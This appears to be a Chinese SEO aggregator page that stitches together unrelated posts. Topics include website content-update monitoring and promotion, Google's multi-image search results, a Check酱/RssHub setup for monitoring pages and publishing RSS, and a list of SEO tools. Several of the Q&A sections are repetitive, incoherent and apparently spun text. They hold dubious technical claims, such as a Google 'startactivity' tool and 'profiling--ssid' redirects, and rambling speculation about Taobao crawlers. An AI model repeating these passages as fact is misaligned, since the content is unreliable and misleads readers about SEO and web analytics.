网站内容为王。现在的自媒体平台跟以前没啥区别,所有的资讯都是公开信息,根本就没有可比性。
前提一定是质量的积累才能形成品牌效应与口碑,网站推广效果的核心一定是阅读量,就目前来看,不要追求多平台、多资源,可以适当尝试微信、微博、今日头条等,在一定体量下达到所需推广效果后,再思考深度内容的运营。
实际上现在推广最重要的永远是排名,尤其是新站。
广告费用分布平衡,关键词布局完整度,受众的精准度,不要进入劣质低俗段子的过多。
网站的推广首先要明确,不是所有推广就一定产生效果,网站的推广没有一定要靠推广进行增加流量!要对网站流量进行定位,对目标人群定位,对网站推广范围进行分析!明确网站要推广哪些领域,是否属于一定要投入推广的流量范围之内!以什么样的形式进行推广,企业类型(行业、企业主体、公司性质、公司规模..)以及人群定位。 查看全部
网站内容多方面增加资讯的伪原创就不要发布了
网站内容更新监控每天定量更新内容,例如自己原创的文章、知识型文章,而且不可以是其他相关媒体的原创文章,包括其他的自媒体平台或内容。如果外链需要接入到平台去。网站中内容的审核将会更加的严格,无法为个人进行伪原创的伪原创就不要进行发布了。关于外链,即便你通过其他平台发布一些内容也不能变相的为网站获取外链。
网站内容多方面增加资讯的内容多为资讯的原创内容,不得为其他网站发布而引用,只可自行增加个人资讯特色来进行自媒体平台的宣传推广。
网站内容为王。现在的自媒体平台跟以前没啥区别,所有的资讯都是公开信息,根本就没有可比性。
前提一定是质量的积累才能形成品牌效应与口碑,网站推广效果的核心一定是阅读量,就目前来看,不要追求多平台、多资源,可以适当尝试微信、微博、今日头条等,在一定体量下达到所需推广效果后,再思考深度内容的运营。
实际上现在推广最重要的永远是排名,尤其是新站。
广告费用分布平衡,关键词布局完整度,受众的精准度,不要进入劣质低俗段子的过多。
网站的推广首先要明确,不是所有推广就一定产生效果,网站的推广没有一定要靠推广进行增加流量!要对网站流量进行定位,对目标人群定位,对网站推广范围进行分析!明确网站要推广哪些领域,是否属于一定要投入推广的流量范围之内!以什么样的形式进行推广,企业类型(行业、企业主体、公司性质、公司规模..)以及人群定位。
网站内容更新监控、crm管理的软件我就不推荐啦!
网站优化 • 优采云 发表了文章 • 0 个评论 • 98 次浏览 • 2022-09-19 02:05
网站内容更新监控、crm管理的软件我就不推荐啦!原因一,老老实实用excel,专业的软件很多,会劳神费力。原因二,不想用就别选竞价软件,这年头不用竞价投放算法有的时候还过不去呢。关键词选择的,搜索量、热度、访客数都是很重要的参考维度。原因三,网站内容更新每天上百万,根本不存在没有更新情况。没准哪天全国人民都用起来了,你的网站算一下展现量,关键词多达几千个几万个,不更新怎么对得起自己打下的江山?。
不能用excel录入?什么?你用excel录入还不能掌握这个功能?这个时候我只想给你一个大大的微笑,这不是我们的产品,
你做电商方面的吗?现在这个趋势必须是excel操作更方便,你确定以后你的网站访客流量和店铺利润不需要跟公司一起分成?所以不是很建议用这样一个软件录入,
基于以上种种原因,完全可以用数据脉软件录入。操作简单,数据全面,功能齐全,不会降低账户质量,用网站成本更低,效果更高。如果你用excel写的操作不便,可以用数据脉账户研究系统写的自定义脚本,自动生成行为脚本、外链脚本、产品竞价脚本,修改时还可以多添加选项卡来灵活操作。
报表后台,免费模板,统计分析,关键词表,数据脉做任何事只要有数据, 查看全部
网站内容更新监控、crm管理的软件我就不推荐啦!
网站内容更新监控、crm管理的软件我就不推荐啦!原因一,老老实实用excel,专业的软件很多,会劳神费力。原因二,不想用就别选竞价软件,这年头不用竞价投放算法有的时候还过不去呢。关键词选择的,搜索量、热度、访客数都是很重要的参考维度。原因三,网站内容更新每天上百万,根本不存在没有更新情况。没准哪天全国人民都用起来了,你的网站算一下展现量,关键词多达几千个几万个,不更新怎么对得起自己打下的江山?。

不能用excel录入?什么?你用excel录入还不能掌握这个功能?这个时候我只想给你一个大大的微笑,这不是我们的产品,
你做电商方面的吗?现在这个趋势必须是excel操作更方便,你确定以后你的网站访客流量和店铺利润不需要跟公司一起分成?所以不是很建议用这样一个软件录入,

基于以上种种原因,完全可以用数据脉软件录入。操作简单,数据全面,功能齐全,不会降低账户质量,用网站成本更低,效果更高。如果你用excel写的操作不便,可以用数据脉账户研究系统写的自定义脚本,自动生成行为脚本、外链脚本、产品竞价脚本,修改时还可以多添加选项卡来灵活操作。
报表后台,免费模板,统计分析,关键词表,数据脉做任何事只要有数据,
网站内容更新监控是一个比较庞大的工程吗?
网站优化 • 优采云 发表了文章 • 0 个评论 • 61 次浏览 • 2022-09-16 00:02
网站内容更新监控是一个比较庞大的工程,因为涉及到很多复杂的可视化工具,建议你不要把这个做一个专业型的监控系统。现在一些专业网站的统计分析工具比如startactivity等,功能及其强大,用户可以轻松编写代码自定义api,并且也是google等公司倾力打造,我建议你学习这个。对于公司内部的技术团队来说,估计难度不太大。
网站内容更新监控,以为您最熟悉的应该是百度统计和阿里聚光第一步,可以对各种列表和网站页面数据进行关键词排名分析第二步,实现站内的pv(页面浏览量)和uv(页面访问量)分析,目前也有很多站点在此功能部署第三步,实现http请求量统计第四步,分析各种内容更新的具体数据第五步,回溯到上一步的数据与分析结果例如,某个页面的pv很低,但uv很高。可以看出有uv流量的pv没有加载到服务器,或者没有在用户下单时执行http请求获取数据。
你用过百度统计就知道whatispv,uv这些的profiling--ssid(profilingdata--ssid)都有了profilingdata就是用于ssid的重定向;并且,
去看看seouijob和seossp
正好去年11月底做了一个前台pv的分析,现在过去有半年了,抛砖引玉,有人感兴趣再来继续填坑。欢迎补充。某个商城内可能存在大量广告点击,这些点击可能来自多个页面,比如搜索框点击、鼠标滑动点击等等,分析这些点击里面的具体ip来源,并在搜索框中随机用点击前10和后10个数据测试。点击查询、入口来源、地区、商品id等等。
但是这样肯定会有一个漏洞,比如某个账号有意点击某个商品id,这些点击可能都是冲着商品id,但是查询每个入口,多个ip来源都是同一个商品id,此时如何找出冲着该商品id的就得经过实战来判断了。还可以监控某个账号发起的各种互动,比如输入url并成功,点击链接收藏存在对应的点击计数,但是并不能实时得知,这个功能就很有意思了,如果可以实时算得到,那么做成推荐系统就方便很多了。 查看全部
网站内容更新监控是一个比较庞大的工程吗?
网站内容更新监控是一个比较庞大的工程,因为涉及到很多复杂的可视化工具,建议你不要把这个做一个专业型的监控系统。现在一些专业网站的统计分析工具比如startactivity等,功能及其强大,用户可以轻松编写代码自定义api,并且也是google等公司倾力打造,我建议你学习这个。对于公司内部的技术团队来说,估计难度不太大。

网站内容更新监控,以为您最熟悉的应该是百度统计和阿里聚光第一步,可以对各种列表和网站页面数据进行关键词排名分析第二步,实现站内的pv(页面浏览量)和uv(页面访问量)分析,目前也有很多站点在此功能部署第三步,实现http请求量统计第四步,分析各种内容更新的具体数据第五步,回溯到上一步的数据与分析结果例如,某个页面的pv很低,但uv很高。可以看出有uv流量的pv没有加载到服务器,或者没有在用户下单时执行http请求获取数据。
你用过百度统计就知道whatispv,uv这些的profiling--ssid(profilingdata--ssid)都有了profilingdata就是用于ssid的重定向;并且,

去看看seouijob和seossp
正好去年11月底做了一个前台pv的分析,现在过去有半年了,抛砖引玉,有人感兴趣再来继续填坑。欢迎补充。某个商城内可能存在大量广告点击,这些点击可能来自多个页面,比如搜索框点击、鼠标滑动点击等等,分析这些点击里面的具体ip来源,并在搜索框中随机用点击前10和后10个数据测试。点击查询、入口来源、地区、商品id等等。
但是这样肯定会有一个漏洞,比如某个账号有意点击某个商品id,这些点击可能都是冲着商品id,但是查询每个入口,多个ip来源都是同一个商品id,此时如何找出冲着该商品id的就得经过实战来判断了。还可以监控某个账号发起的各种互动,比如输入url并成功,点击链接收藏存在对应的点击计数,但是并不能实时得知,这个功能就很有意思了,如果可以实时算得到,那么做成推荐系统就方便很多了。
网站内容更新监控的作用监控网站更新的异常应及时提醒
网站优化 • 优采云 发表了文章 • 0 个评论 • 108 次浏览 • 2022-09-12 05:01
网站内容更新监控的作用监控网站内容更新,如果发现异常应及时提醒。查询结果有如下几种:1.网站标准值2.机器人更新异常3.有人手动操作时,
因为投放广告,流量大的话一下子爬虫爬过去,大数据处理一下,再分析送回浏览器,就有刷新。
只是换个说法。但是这种换汤不换药的好处就是,方便大家改变目标。知道要去找什么。假如你要找相册,一下子爬过去,用户体验不好。
那是相册更新异常,
为了用户体验,大家习惯用监控的方式来管理网站内容更新。不过像你说的这种情况,我想说。这些监控技术本身设计来是为了保证url的一致性。有这个方法就可以了。无论更新的网站多少,总有改变url一致性。其实我觉得那有些麻烦了。有些产品是用来克服人性中弱点,并用来克服产品边界。我觉得这才是产品存在的价值。
这可以算是分布式爬虫吧,不过程序员一般都会学习和主动写前端吧,就像useragentauthority这个东西,模拟一下浏览器请求。
大家可以想想淘宝更新又没有登录啥的就发现是爬虫干的了
因为淘宝现在还是有短板,他的核心竞争力也不是ugc网站,好不容易做到世界上第一,这么大的市场怎么能让别人好好做呢,他需要一个东西来刷流量。毕竟淘宝之前还在借着巨无霸的市场地位自由竞争,现在你看到大家都要制霸中国,大家都要发展,这个短板就很明显了,所以需要一个比较聪明的聪明人来架设服务器来不停地自动爬取数据,爬到了知道是爬虫干的,就弃之可惜,找个理由说服用户来淘宝看看(想想也能想得通),数据已经分发给他了。
结论就是淘宝为什么会为了不干掉自己而不断去填坑,因为一旦干掉自己,马云的资本会瞬间被稀释(也就是怎么可能赚这么多钱呢)这种东西可能自己发明出来的也有,就是爬虫加个后端存储不断循环你懂的,有了第一个吃螃蟹的人大家都认为没有人可以制得过他。 查看全部
网站内容更新监控的作用监控网站更新的异常应及时提醒
网站内容更新监控的作用监控网站内容更新,如果发现异常应及时提醒。查询结果有如下几种:1.网站标准值2.机器人更新异常3.有人手动操作时,
因为投放广告,流量大的话一下子爬虫爬过去,大数据处理一下,再分析送回浏览器,就有刷新。

只是换个说法。但是这种换汤不换药的好处就是,方便大家改变目标。知道要去找什么。假如你要找相册,一下子爬过去,用户体验不好。
那是相册更新异常,
为了用户体验,大家习惯用监控的方式来管理网站内容更新。不过像你说的这种情况,我想说。这些监控技术本身设计来是为了保证url的一致性。有这个方法就可以了。无论更新的网站多少,总有改变url一致性。其实我觉得那有些麻烦了。有些产品是用来克服人性中弱点,并用来克服产品边界。我觉得这才是产品存在的价值。

这可以算是分布式爬虫吧,不过程序员一般都会学习和主动写前端吧,就像useragentauthority这个东西,模拟一下浏览器请求。
大家可以想想淘宝更新又没有登录啥的就发现是爬虫干的了
因为淘宝现在还是有短板,他的核心竞争力也不是ugc网站,好不容易做到世界上第一,这么大的市场怎么能让别人好好做呢,他需要一个东西来刷流量。毕竟淘宝之前还在借着巨无霸的市场地位自由竞争,现在你看到大家都要制霸中国,大家都要发展,这个短板就很明显了,所以需要一个比较聪明的聪明人来架设服务器来不停地自动爬取数据,爬到了知道是爬虫干的,就弃之可惜,找个理由说服用户来淘宝看看(想想也能想得通),数据已经分发给他了。
结论就是淘宝为什么会为了不干掉自己而不断去填坑,因为一旦干掉自己,马云的资本会瞬间被稀释(也就是怎么可能赚这么多钱呢)这种东西可能自己发明出来的也有,就是爬虫加个后端存储不断循环你懂的,有了第一个吃螃蟹的人大家都认为没有人可以制得过他。
Google 实用内容更新在发布中 目前影响不大|Google 多图结果的分析和
网站优化 • 优采云 发表了文章 • 0 个评论 • 101 次浏览 • 2022-09-05 08:33
Google 实用内容更新在发布中 目前影响不大
上篇文章在 19 日提到已经发布了,从 Google 的看是 8/25 推出,预计 2 周内上线完成。之前以为这个更新可能是本年度影响最大的一次更新,不过从几个排名监控工具来看,目前的影响并不明显(可能是还没完全上线?)。从 Twitter 上网友的反馈来看,也是只有少数人说有影响,大多数站长反馈都没明显变化。
以下是几个排名监控工具的截图情况:Algoroo
Semrush
Moz
我会继续监控实用内容更新的影响情况,如有情况会继续同步。
Google 多图结果的分析和建议
先声明,本部分内容主要是取自 Brodie Clark 的文章(/google-image-thumbnails/)。
Google 搜索结果中的缩略图结果越来越多,根据 Rank Ranger 的数据,缩略图结果出现在 40% 的桌面 SERP 和 65% 的移动 SERP 中。并且现在又出现了一种多图结果,就是一排有 5 张图片,类似轮播图,展示效果非常亮眼,也很吸引点击,如下图:
在本篇中 Brodie Clark 是国外的 SEO 专家,他对 Google 搜索结果上的多图缩略图结果做了分析,得到了网页要获得多图缩略图结果的 3 个条件,依次越来越基础,越来越难,下面是具体内容:
第一层条件 - 排名问题
第一层条件是排名,这是最简单,也最容易理解的。Brodie Clark 发现Google 一次最多只展示 4 个多图结果。所以,当网页出现在前 4 个多图排名中,才有机会展示多图结果;反之,当前面已经有 4 个多图结果时,即便其他条件符合,也无法有多图展示。如下图这个示例:
同样的关键词 「spice jars」,同样的 Etsy 的网页,在不同地理区域有 2 个排名。在左侧结果中,Etsy 网页在多图结果的第四位,所以顺利展示了多图结果。在右侧结果中,因为前面已经有了 4 个多图结果,所以同样的网页无法再展示多图结果,只能展示普通的文字结果。
第二层条件 - 预览问题
预览问题,主要就是通过特殊搜索命令,查看网页在这个关键词下是否获得了多图展示的资格。注:这个资格主要是 Google 进行判断后授予,只能通过这种指令来判断。
如上图,通过 「site 指令+ 目标关键词」,就可以查看某网页在这个关键词下是否具备多图展示的资格。上图的网页是具备这个资格的,所以只要排名在多图靠前位置,满足第一层条件,即可有多图展示。
而上图这个迪卡侬的网页很明显就是未获得多图展示的资格,主要问题出在第二层 - 预览问题上。你看其实这个网页上的一组图片已经被收录了。
第三层条件 - 图片收录
这一层是最基础的,如果这一层条件没满足,前面两层就不用谈了,那就是网页上是否有足够的图片被收录。其实也比较容易理解,就是这个网页如果要展示多图,那网页上多张图片必须要被收录。有一个检测方法就是用 site 指令在 Google 图片中搜索。如下图:
这个 footlocker 的网页通过搜索指令查看,并没有一张图片被收录,那不要说多图展示,连单个缩略图的展示都不会有。另外还需要特别注意的是,这种情况是出现在单个网页,还是整站。如果是单个网页那还算正常,如果整站都有图片收录的问题,那问题就比较严重了,因为会严重影响图片流量,以及整站网页的图片展示。如下图是之前 kmart 的例子,从搜索结果中发现前 10 个都没有任何图片,说明图片收录存在严重的问题。
影响因素和建议
影响图片收录和图片展示有哪些影响因素和建议呢,Brodie Clark 给了 7 点影响因素和建议:
JavaScript 是否影响图片抓取。虽然 Google 现在能识别 JS 中的内容,但有些网站的图片展示会依赖一些动作条件,比如鼠标滚动,这就会导致 Google 爬虫在抓取图片时无法识别。所以建议一定要用 GSC 的网址审查来查看爬虫环境下是否能抓取到图片。
图片相关性。如果有足够图片被收录,那图片相关性就很关键。跟网页主题更相关的图片,就会通过第二层条件,获取多图展示的资格。
图片质量。图片质量越高,其被收录的概率越大,就能满足条件三的收录基础。
ALT 文本。这是 SEO 的基础了,仍有一些网站有丢失。ALT 文本会帮助 Google 了解图片内容,对第二和第三个条件都有帮助。
商品名称。就是图片周围的文案描述,也可以帮助 Google 了解网页和图片的内容,并确定主题。
最好有超过 8 张图片。考虑到图片也有收录率问题,如果有超过 8 张图片,那按照 50% 收录率计算就有 4 张图片被收录,然后通过第三层条件。
图片顺序。将最相关、展示效果最佳的图片放在网页靠前位置可能是个因素。如果有多个图片跟产品不相关,也将失去展示的机会。
透明背景。当图片是透明背景时,在 Google 会变成黑色背景展示,对比度不佳,也会影响多图时的展示效果。
备注
原文链接: 查看全部
Google 实用内容更新在发布中 目前影响不大|Google 多图结果的分析和
Google 实用内容更新在发布中 目前影响不大
上篇文章在 19 日提到已经发布了,从 Google 的看是 8/25 推出,预计 2 周内上线完成。之前以为这个更新可能是本年度影响最大的一次更新,不过从几个排名监控工具来看,目前的影响并不明显(可能是还没完全上线?)。从 Twitter 上网友的反馈来看,也是只有少数人说有影响,大多数站长反馈都没明显变化。
以下是几个排名监控工具的截图情况:Algoroo
Semrush
Moz
我会继续监控实用内容更新的影响情况,如有情况会继续同步。
Google 多图结果的分析和建议
先声明,本部分内容主要是取自 Brodie Clark 的文章(/google-image-thumbnails/)。
Google 搜索结果中的缩略图结果越来越多,根据 Rank Ranger 的数据,缩略图结果出现在 40% 的桌面 SERP 和 65% 的移动 SERP 中。并且现在又出现了一种多图结果,就是一排有 5 张图片,类似轮播图,展示效果非常亮眼,也很吸引点击,如下图:

在本篇中 Brodie Clark 是国外的 SEO 专家,他对 Google 搜索结果上的多图缩略图结果做了分析,得到了网页要获得多图缩略图结果的 3 个条件,依次越来越基础,越来越难,下面是具体内容:
第一层条件 - 排名问题
第一层条件是排名,这是最简单,也最容易理解的。Brodie Clark 发现Google 一次最多只展示 4 个多图结果。所以,当网页出现在前 4 个多图排名中,才有机会展示多图结果;反之,当前面已经有 4 个多图结果时,即便其他条件符合,也无法有多图展示。如下图这个示例:
同样的关键词 「spice jars」,同样的 Etsy 的网页,在不同地理区域有 2 个排名。在左侧结果中,Etsy 网页在多图结果的第四位,所以顺利展示了多图结果。在右侧结果中,因为前面已经有了 4 个多图结果,所以同样的网页无法再展示多图结果,只能展示普通的文字结果。
第二层条件 - 预览问题
预览问题,主要就是通过特殊搜索命令,查看网页在这个关键词下是否获得了多图展示的资格。注:这个资格主要是 Google 进行判断后授予,只能通过这种指令来判断。
如上图,通过 「site 指令+ 目标关键词」,就可以查看某网页在这个关键词下是否具备多图展示的资格。上图的网页是具备这个资格的,所以只要排名在多图靠前位置,满足第一层条件,即可有多图展示。
而上图这个迪卡侬的网页很明显就是未获得多图展示的资格,主要问题出在第二层 - 预览问题上。你看其实这个网页上的一组图片已经被收录了。
第三层条件 - 图片收录
这一层是最基础的,如果这一层条件没满足,前面两层就不用谈了,那就是网页上是否有足够的图片被收录。其实也比较容易理解,就是这个网页如果要展示多图,那网页上多张图片必须要被收录。有一个检测方法就是用 site 指令在 Google 图片中搜索。如下图:

这个 footlocker 的网页通过搜索指令查看,并没有一张图片被收录,那不要说多图展示,连单个缩略图的展示都不会有。另外还需要特别注意的是,这种情况是出现在单个网页,还是整站。如果是单个网页那还算正常,如果整站都有图片收录的问题,那问题就比较严重了,因为会严重影响图片流量,以及整站网页的图片展示。如下图是之前 kmart 的例子,从搜索结果中发现前 10 个都没有任何图片,说明图片收录存在严重的问题。
影响因素和建议
影响图片收录和图片展示有哪些影响因素和建议呢,Brodie Clark 给了 7 点影响因素和建议:
JavaScript 是否影响图片抓取。虽然 Google 现在能识别 JS 中的内容,但有些网站的图片展示会依赖一些动作条件,比如鼠标滚动,这就会导致 Google 爬虫在抓取图片时无法识别。所以建议一定要用 GSC 的网址审查来查看爬虫环境下是否能抓取到图片。
图片相关性。如果有足够图片被收录,那图片相关性就很关键。跟网页主题更相关的图片,就会通过第二层条件,获取多图展示的资格。
图片质量。图片质量越高,其被收录的概率越大,就能满足条件三的收录基础。
ALT 文本。这是 SEO 的基础了,仍有一些网站有丢失。ALT 文本会帮助 Google 了解图片内容,对第二和第三个条件都有帮助。
商品名称。就是图片周围的文案描述,也可以帮助 Google 了解网页和图片的内容,并确定主题。
最好有超过 8 张图片。考虑到图片也有收录率问题,如果有超过 8 张图片,那按照 50% 收录率计算就有 4 张图片被收录,然后通过第三层条件。
图片顺序。将最相关、展示效果最佳的图片放在网页靠前位置可能是个因素。如果有多个图片跟产品不相关,也将失去展示的机会。
透明背景。当图片是透明背景时,在 Google 会变成黑色背景展示,对比度不佳,也会影响多图时的展示效果。
备注
原文链接:
网站内容更新监控,好的网站策划一定会对自己网站的内容进行监控和把控
网站优化 • 优采云 发表了文章 • 0 个评论 • 71 次浏览 • 2022-08-15 15:05
网站内容更新监控,好的网站策划一定会对自己网站的内容进行监控和把控,在前期就要对站内外的内容进行挖掘和定位,并且对内容进行处理控制。文章的生命力和传播性,好的策划更新一定能很好的展现,能够达到热门话题甚至国家级新闻事件的效果。
仅根据我们过去的经验,
建议去“seo之星”看看“何伯锋”的博客,他的运营理念值得学习,其实关键还是要坚持,坚持把“何伯锋”定位成一名it人员的榜样,他从博客起步,产生了非常大的影响,被很多编辑用作模仿对象,其实,做网站关键在于“坚持”,就像在微博上发展也差不多,不需要做什么风格,坚持更新原创,经典文章,价值链接就可以在粉丝中占据一席之地。
没有完美的网站,只有经过设计优化维护维护的网站。
同行的网站都看下,然后,一直向他们学习。
对于网站建设公司来说,首先网站要有一个“标签”,针对定位,也就是主体内容做的一个网站标识,针对网站大的类型和题材方向,做一个相对应的网站要素比如:产品型网站:卖什么的,方向就是卖产品;品牌型网站:卖什么的,就是卖什么的,差异化就是品牌。
何伯锋是中国创富时代网站优化团队教育培训高级讲师,是互联网营销品牌策划人,融合了顶级的网站排名传播营销技巧,提出的影响网站优化的七大原则, 查看全部
网站内容更新监控,好的网站策划一定会对自己网站的内容进行监控和把控
网站内容更新监控,好的网站策划一定会对自己网站的内容进行监控和把控,在前期就要对站内外的内容进行挖掘和定位,并且对内容进行处理控制。文章的生命力和传播性,好的策划更新一定能很好的展现,能够达到热门话题甚至国家级新闻事件的效果。
仅根据我们过去的经验,

建议去“seo之星”看看“何伯锋”的博客,他的运营理念值得学习,其实关键还是要坚持,坚持把“何伯锋”定位成一名it人员的榜样,他从博客起步,产生了非常大的影响,被很多编辑用作模仿对象,其实,做网站关键在于“坚持”,就像在微博上发展也差不多,不需要做什么风格,坚持更新原创,经典文章,价值链接就可以在粉丝中占据一席之地。
没有完美的网站,只有经过设计优化维护维护的网站。

同行的网站都看下,然后,一直向他们学习。
对于网站建设公司来说,首先网站要有一个“标签”,针对定位,也就是主体内容做的一个网站标识,针对网站大的类型和题材方向,做一个相对应的网站要素比如:产品型网站:卖什么的,方向就是卖产品;品牌型网站:卖什么的,就是卖什么的,差异化就是品牌。
何伯锋是中国创富时代网站优化团队教育培训高级讲师,是互联网营销品牌策划人,融合了顶级的网站排名传播营销技巧,提出的影响网站优化的七大原则,
利用check酱监控网页并生成rss
网站优化 • 优采云 发表了文章 • 0 个评论 • 407 次浏览 • 2022-08-14 02:10
背景
最近发现了一个很好玩的开源项目:Check酱。
它可以通过保存cookie的方式,监控任意网页上任意元素的变化。然后通过使用Server酱或webhook的方式,对这些元素的变化进行时时提醒。
部署Check酱实时监控
Check酱的本体是一个chrome插件,但如果只用插件的话,则只能在开机打开浏览器时进行监控。
好在官方提供了docker镜像,于是我首先使用Docker-compose的方式将其部署在我的服务器上。
于是,我用Check酱监控了b站up主的更新(主要是虽然b站有动态-投稿,可以只看关注的up主更新的视频,但等我发现这个功能时,我已经把2000个关注都点满了。。。),以及京东商品的价格,还有微信公众号的更新。
这边借用官方的图:
然后配置Server酱,将监控信息发送到钉钉机器人通道:
现在看起来一切都很完美,但很快我就发现cookie是有时效的,所以我隔几天就要去登录一下。这样显然就麻烦了。
万物皆可Rss
所以很快,我就发现了RssHub。
它是一个由广大网友共同编写规则,从而可以将大多数你想要的东西(包括那些不支持rss的)都变成rss订阅源的工具。
所以,现在的思路就从直接监控网页,变成了监控rss的变化。(因为一般的rss阅读器提醒不是那么及时,并且我又喜欢把app都冰冻锁起来,所以我需要一个可以在聊天软件里提醒我的功能)
当然,由于一些不可说的原因,rsshub的官方站在大陆使用会有点不顺畅。不过好在这依然是个开源软件,所以我们继续用docker部署在服务器上:
所以当前的架构就是这样:
我把网页的变化点做成rss发布,然后使用Check酱去监控rss的变化,一旦有变化就会通过Server酱向我的钉钉推送提醒;同时,我使用The Old Reader去订阅并管理我感兴趣的Rss源,这样当我的钉钉接收到提醒时,我就可以用安卓的FeedMe或网页端去查看更新的内容了,并且已读的条目也会双向同步到The Old Reader。
完美。
但。。。我老婆又向我提出了一个新的需求:她也想要去查看更新。。。
这个需求的麻烦点在于,我不想让她的已读动作影响到我。看似用两个The Old Reader账号就能解决,但这样我就需要每次修改订阅都要在两个账号同步修改,太麻烦了。。。
将监控动态发布成Rss
各种搜索解决方案,发现新版Check酱刚增加了一项功能,可以将监控的动态上传、发布成Rss。
简单说来就是:
当正常的php网站部署, 然后填上对应的rss_upload.php地址:
然后->“动态”, 点击"RSS“上传:
最后打开 即可:
rss_upload.php:
rss.php:
利用这个功能,我就可以把Check酱监控的动态发布成Rss源,这样不论给多少人订阅都不会相互干扰了,而且监控的条目也方便管理,不用多次反复添加修改了。
但是,大家肯定发现了一个问题,那就是Rss的上传是要手动触发的啊。那岂不是没有一点可用性?
幸好Check酱镜像支持了NoVNC,所以我通过NoVNC连接到服务器上部署的Check酱里,打开正在被自动化程序操控的浏览器,按F12进入开发者模式,在命令行中输入:
这段js代码,就可以让浏览器每隔10分钟,自动去点击一下上传按钮。关闭NoVNC也可以生效。
这下就全流程自动化了。
这是在iPhone的ReadOn软件上的效果:
这是在安卓的FeedMe软件上的效果: 查看全部
利用check酱监控网页并生成rss
背景
最近发现了一个很好玩的开源项目:Check酱。
它可以通过保存cookie的方式,监控任意网页上任意元素的变化。然后通过使用Server酱或webhook的方式,对这些元素的变化进行时时提醒。
部署Check酱实时监控
Check酱的本体是一个chrome插件,但如果只用插件的话,则只能在开机打开浏览器时进行监控。
好在官方提供了docker镜像,于是我首先使用Docker-compose的方式将其部署在我的服务器上。
于是,我用Check酱监控了b站up主的更新(主要是虽然b站有动态-投稿,可以只看关注的up主更新的视频,但等我发现这个功能时,我已经把2000个关注都点满了。。。),以及京东商品的价格,还有微信公众号的更新。
这边借用官方的图:
然后配置Server酱,将监控信息发送到钉钉机器人通道:
现在看起来一切都很完美,但很快我就发现cookie是有时效的,所以我隔几天就要去登录一下。这样显然就麻烦了。
万物皆可Rss

所以很快,我就发现了RssHub。
它是一个由广大网友共同编写规则,从而可以将大多数你想要的东西(包括那些不支持rss的)都变成rss订阅源的工具。
所以,现在的思路就从直接监控网页,变成了监控rss的变化。(因为一般的rss阅读器提醒不是那么及时,并且我又喜欢把app都冰冻锁起来,所以我需要一个可以在聊天软件里提醒我的功能)
当然,由于一些不可说的原因,rsshub的官方站在大陆使用会有点不顺畅。不过好在这依然是个开源软件,所以我们继续用docker部署在服务器上:
所以当前的架构就是这样:
我把网页的变化点做成rss发布,然后使用Check酱去监控rss的变化,一旦有变化就会通过Server酱向我的钉钉推送提醒;同时,我使用The Old Reader去订阅并管理我感兴趣的Rss源,这样当我的钉钉接收到提醒时,我就可以用安卓的FeedMe或网页端去查看更新的内容了,并且已读的条目也会双向同步到The Old Reader。
完美。
但。。。我老婆又向我提出了一个新的需求:她也想要去查看更新。。。
这个需求的麻烦点在于,我不想让她的已读动作影响到我。看似用两个The Old Reader账号就能解决,但这样我就需要每次修改订阅都要在两个账号同步修改,太麻烦了。。。
将监控动态发布成Rss
各种搜索解决方案,发现新版Check酱刚增加了一项功能,可以将监控的动态上传、发布成Rss。
简单说来就是:
当正常的php网站部署, 然后填上对应的rss_upload.php地址:
然后->“动态”, 点击"RSS“上传:

最后打开 即可:
rss_upload.php:
rss.php:
利用这个功能,我就可以把Check酱监控的动态发布成Rss源,这样不论给多少人订阅都不会相互干扰了,而且监控的条目也方便管理,不用多次反复添加修改了。
但是,大家肯定发现了一个问题,那就是Rss的上传是要手动触发的啊。那岂不是没有一点可用性?
幸好Check酱镜像支持了NoVNC,所以我通过NoVNC连接到服务器上部署的Check酱里,打开正在被自动化程序操控的浏览器,按F12进入开发者模式,在命令行中输入:
这段js代码,就可以让浏览器每隔10分钟,自动去点击一下上传按钮。关闭NoVNC也可以生效。
这下就全流程自动化了。
这是在iPhone的ReadOn软件上的效果:
这是在安卓的FeedMe软件上的效果:
10款常用的SEO内容创作工具
网站优化 • 优采云 发表了文章 • 0 个评论 • 110 次浏览 • 2022-08-14 02:10
谷歌使用含有数百个加权因子的复杂算法,根据给定网页与给定关键词的相关性,对网页进行索引和排名。数字营销人员则通过实证测试试图弄清这个复杂算法背后的原理,并采用特定的方法来提高网页在搜索结果页中的排名,这一过程被叫做搜索引擎优化(SEO),这是数字营销人员必须掌握的重要技能。
如果没有优质SEO内容工具,优化网页内容将是一项冗长乏味的工作。为了帮助您节省大量时间和劳动力,本为会为您推荐10个最佳SEO内容创作工具,这些工具适用于内容创作过程的不同阶段。
1. Google Search Console
价格:网站所有者可免费使用
作用:Google Search Console是谷歌自己的工具,能够帮助提高网站在搜索引擎结果页面中的排名。它包括网站性能监视工具,页面加载时间监视工具。您还可以监控您的网站在Google搜索结果中的排名,了解哪些页面是针对特定关键词进行排名的。您还可以查看网页在搜索结果页面的展示次数和点击次数。它帮助您确定该优化哪些内容,以及接下来该定位哪些关键词。
2. Google Keyword Planner
价格:拥有Google Ads账户的人均可免费使用
作用:Google Keyword Planner是进行基本的关键词研究的最佳免费工具之一。您可以 1)发现新关键词:输入任何关键词来查看与其类似的关键词列表,以及它们的搜索量和相关指标,使得你很容易找到新的关键字优化目标;2)预测关键词趋势:监控趋势,以发现流行的搜索关键词。Kenny觉得这个工具只适合做SEM的小伙伴,如果你是做SEO的,那查找到的关键词数据不适合SEO。
3. WordStream
价格:免费
作用:WordStream 提供了一个精简版的Google Keyword Planner,它是免费的,易于使用。只需输入您选择的关键词,选择一个行业,并输入您的位置,然后单击Email All My Keywords按钮,您就可以获得关键词列表和它们在Google和Bing上的搜索量,以及每个关键词的平均每次点击成本(CPC)
4. SEMrush
价格:部分功能免费,订阅制99.95美元/月
作用:SEMrush 是最流行的工具之一,适用于所有类型的数字营销人员。它包含40多种不同的工具,可以帮助进行SEO、PPC和社交媒体管理。营销人员可以使用SEMrush分析反向链接、进行关键词研究、分析自己或竞争对手的网站性能和流量,并发现新的市场和机会。SEMrush还有一个SEO审计程序,可以帮助解决网站SEO的一些技术问题。
5. BuzzSumo
价格:79美元/月
作用:BuzzSumo帮助营销人员有效分析网站内容,同时紧跟热门趋势。BuzzSumo能够找到用户在不同平台上最喜欢分享的内容。只需要输入网站链接,就能查看什么是该网站最热门的内容。您还可以分析过去一天内,一个月内以及一年内的趋势,并且按照作者或者平台过滤。
6. Answer the Public
价格:每天3次免费使用,无限使用99美元/月
